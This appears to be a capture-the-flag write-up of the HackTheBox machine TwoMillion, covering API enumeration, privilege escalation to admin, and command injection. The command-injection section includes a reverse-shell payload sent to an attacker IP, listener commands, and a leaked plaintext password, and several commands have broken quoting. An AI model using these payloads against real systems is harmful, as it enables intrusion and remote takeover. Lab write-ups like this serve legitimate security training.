Post

HTB - TwoMillion

Box Info

NameBizness
Release Date07 Jun, 2023
OSLinux
Rated DifficultyEasy

Enumeration

Nmap

1
2
nmap -p- --min-rate 5000 -n -sS -vvv -Pn 10.10.11.221 -oG allPorts
nmap -sCV -p 22,80 10.10.11.221 -oN targeted

Image

Resolution DNS

1
echo "10.10.11.221 twomillion.htb | sudo tee -a /etc/hosts"

Image

Web

When hover the mouse over “here” show it us the link to goes.

Image

Looking in dom i found this path from a API and the instruction of how script works

Image

Image

Url decode for read more comfort:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function verifyInviteCode(code){
var formData = {"code":code};
$.ajax({
type: "POST",
url: '/api/v1/invite/verify',
dataType: 'json',
data: formData,
success: function(response){
console.log(response);
},
error: function(response){
console.log(response);
}
});
}

function makeInviteCode(){
$.ajax({
type: "POST",
url: '/api/v1/invite/how/to/generate',
dataType: 'json',
success: function(response){
console.log(response);
},
error: function(response){
console.log(response);
}
});
}

Theres a interesting function called makeInviteCode so we gonna execute this function on console from inspection web.

Image

If i click in the object it show us something interesting encrypte in ROT13

Image

We can decrypt rot13 with some web page for that

Image

"In order to generate the invite code, make a POST request to /api/invite/generate"

1
curl -s -X POST "http://2million.htb/api/v1/invite/generate"

With curl can send a POST method for generate the invite code.

Image

And the API it generate us an code in base64, it can decrypt with base641 and use it for registration us web and login.

Image

Image

Looking in the web, I found a path in api/v1

Image

API

Abusing again the API we send a request in method GET with the Cookie

1
`curl -s -X GET "http://2million.htb/api/v1" -H "Cookie: PHPSESSID=avhllptt4vvs1rbocvart3ue9b"`

Image

1
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" | jq

Image

1
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" -d '{"email": "jack@jack.com"}' | jq

Image

1
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" -d '{"email": "jack@jack.com", "is:admin": "True"}' | jq

Image

1
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" -d '{"email": "jack@jack.com", "is:admin": "1"}' | jq

Image

1
curl -s -X GET "http://2million.htb/api/v1/admin/auth" -H "Cookie: PHPSESSID="

Image

1
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": "jack"}' | jq

Image

Image

1
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": ";whoami;"}'

Image

1
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": ";ls;"}'

Image

1
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": ";bash -c \"bash -i >& /dev/tcp/10.10.14.88/443 0>&1\" #"}'

Image

1
rlwrap nc -lvnp 443

Image

Enumerate linux we can see a folder with the name .env this contain a credentials in plane text. We are a www-data so we need

Image

admin SuperDuperPass123

When we login the first appear is mail, this mail is lcoated in /var/mail

Image

CVE-2023-0386

Well, the mail says everything… Google it.

Image

Search in google “OverlaysFS Fuse linux kernel and the fisrt poc i found is this CVE-2023-03862

Image

ROOT

Source

This post is licensed under CC BY 4.0 by the author.